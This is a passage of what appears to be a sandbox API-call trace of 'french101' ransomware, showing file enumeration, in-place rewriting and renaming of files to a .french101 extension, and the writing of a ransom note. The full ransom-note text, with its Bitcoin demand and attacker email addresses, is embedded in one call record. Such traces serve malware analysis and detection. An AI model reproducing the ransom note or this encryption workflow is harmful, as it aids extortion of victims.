"c:\\588bce7c90097ed212\\1042\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.340] WriteFile (in: hFile=0x398, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0280.341] CloseHandle (hObject=0x398) returned 1 [0280.342] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.342] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.342] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.342] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0280.342] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0280.342] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.342] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0280.342] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.342] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0280.342] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.343] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.343] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.343] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.343] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0280.346] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0280.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0280.346] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0280.346] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0280.346] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0280.347] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0280.347] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0280.347] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.347] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.347] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xfed6 [0280.347] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.347] SetFilePointer (in: hFile=0x398, lDistanceToMove=65238, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xfed6 [0280.347] WriteFile (in: hFile=0x398, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0280.349] CloseHandle (hObject=0x398) returned 1 [0280.352] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.352] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.352] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xfed7 [0280.352] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.352] SetFilePointer (in: hFile=0x398, lDistanceToMove=65238, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xfed6 [0280.352] SetEndOfFile (hFile=0x398) returned 1 [0280.355] CloseHandle (hObject=0x398) returned 1 [0280.355] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.356] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.356] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xfed6 [0280.356] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.356] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.356] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0280.356] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.358] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0280.358] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0280.358] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0280.358] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.358] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0280.358] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.358] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.358] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.358] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.426] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0280.426] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.426] SetFilePointer (in: hFile=0x398, lDistanceToMove=65238, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xfed6 [0280.426] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0280.426] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xba, lpOverlapped=0x0) returned 1 [0280.427] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.427] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.427] CloseHandle (hObject=0x398) returned 1 [0280.429] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\HzU1fVnk=dIfPFNfOKw3v1oMgG8jx8XJbFcEa51fDQwonQ.french101" (normalized: "c:\\588bce7c90097ed212\\1042\\hzu1fvnk=difpfnfokw3v1omgg8jx8xjbfcea51fdqwonq.french101")) returned 1 [0280.429] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\HzU1fVnk=dIfPFNfOKw3v1oMgG8jx8XJbFcEa51fDQwonQ.french101" (normalized: "c:\\588bce7c90097ed212\\1042\\hzu1fvnk=difpfnfokw3v1omgg8jx8xjbfcea51fdqwonq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.430] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0280.430] CloseHandle (hObject=0x398) returned 1 [0280.430] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\HzU1fVnk=dIfPFNfOKw3v1oMgG8jx8XJbFcEa51fDQwonQ.french101", dwFileAttributes=0x80) returned 1 [0280.430] CloseHandle (hObject=0x398) returned 0 [0280.430] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.430] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.430] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.430] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.430] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.430] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.430] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.431] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.431] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.431] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0280.431] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0280.431] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0280.431] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0280.431] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0280.431] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1042\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.431] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0280.431] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0280.431] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0280.432] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0280.432] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0280.432] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0280.432] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0280.432] CloseHandle (hObject=0x398) returned 1 [0280.432] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.432] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.432] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.432] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.432] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.432] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.432] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.432] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.432] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.432] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.433] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.433] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.433] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.433] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0280.434] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0280.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0280.434] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0280.434] GetLastError () returned 0x12 [0280.434] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0280.434] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.434] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.434] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.434] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.434] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0280.434] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.434] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.434] GlobalHandle (pMem=0x3ae4e10) returned 